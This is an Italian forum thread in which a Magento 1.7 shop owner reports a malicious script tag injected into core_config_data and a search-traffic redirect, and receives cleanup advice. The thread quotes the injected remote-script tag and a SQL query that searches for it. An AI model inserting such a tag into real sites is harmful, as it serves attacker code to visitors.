Ciao a tutti,
Abbiamo un importante problema di virus sul nostro e-commerce.
Il primo è il seguente script:
<script src="//0055d7b.netsolhost.com/Blog/lib2/js/js.js">
</script>
Sono giorni ma non lo troviamo in nessun file del sito. Facendo una ricerca online alcuni forum in inglese segnalano la presenza dello script dentro core_config_data nel DB. Ma non essendo così pratici non leggiamo nulla in quella tabella del DB.
Secondo problema è nella seguente immagine.
Se si effettua una ricerca su Google per parola chiave e si accede al sito spesso appare all'utente questo redirect. Ovviamente è facile immaginare il danno alle vendite.
Il nostro Magento è una versione 1.7.0.2.
Ora per prima cosa chiediamo se qualcuno per favore ci può aiutare ad individuare i file da pulire e poi una volta arginato il problema provvedere con un consulente ad aggiornare il sito con patch e release idonea.
Grazie
Buon lavoro
Paolo
Prima di tutto dovete ripristinare il sito con il vostro repository del progetto in modo da portare il codice in modo sicuro.
Dal server fate git status per identificare sul sito eventuali file malevoli non versionati da GIT.
Sul db invece fate uno scan degli script iniettati inline, solitamente i campi core config data e cms.
Purtroppo se non siete pratici dovete per forza farvi seguire da un consulente perchè non esistono passaggi "standard" da seguire. Il consulente analizzerà la situazione e deciderà il da farsi.
Grazie Antonio per le indicazioni.
Abbiamo lanciato un cerca nel DB e in core config data abbiamo trovato il codice infetto. Ecco di seguito:
SELECT * FROM `tenta_01`.`core_config_data WHERE (CONVERT(`config_id` USING utf8) LIKE '%<script%' OR CONVERT(`scope` USING utf8) LIKE '%<script%' OR CONVERT(`scope_id` USING utf8) LIKE '%<script%' OR CONVERT(`path` USING utf8) LIKE '%<script%' OR CONVERT(`value` USING utf8) LIKE '%<script%') OR (CONVERT(`config_id` USING utf8) LIKE '%src="//0055d7b.netsolhost.com/Blog/lib2/js/js.js">%' OR CONVERT(`scope` USING utf8) LIKE '%src="//0055d7b.netsolhost.com/Blog/lib2/js/js.js">%' OR CONVERT(`scope_id` USING utf8) LIKE '%src="//0055d7b.netsolhost.com/Blog/lib2/js/js.js">%' OR CONVERT(`path` USING utf8) LIKE '%src="//0055d7b.netsolhost.com/Blog/lib2/js/js.js">%' OR CONVERT(`value` USING utf8) LIKE '%src="//0055d7b.netsolhost.com/Blog/lib2/js/js.js">%') OR (CONVERT(`config_id` USING utf8) LIKE '%</script>%' OR CONVERT(`scope` USING utf8) LIKE '%</script>%' OR CONVERT(`scope_id` USING utf8) LIKE '%</script>%' OR CONVERT(`path` USING utf8) LIKE '%</script>%' OR CONVERT(`value` USING utf8) LIKE '%</script>%')
Ora per non fare danni quali sono le righe da eliminare o meglio possiamo avere le originali da sovrascrivere? Perchè se sbagliamo anche una virgola non funziona più nulla.
Scusa ma uan volta sovrascritte le nuove righe basta cliccare su Esegui per consentire il salvataggio?
Grazie
Paolo
senza entrare nel dettaglio è difficile se non anche abbastanza pericoloso dire l'esatta procedura (che potrebbe anche cambiare per ogni singola riga).
In ogni caso non credo che eliminare la riga sia buona idea e con molta probabilità potrebbe portare a malfunzionamenti.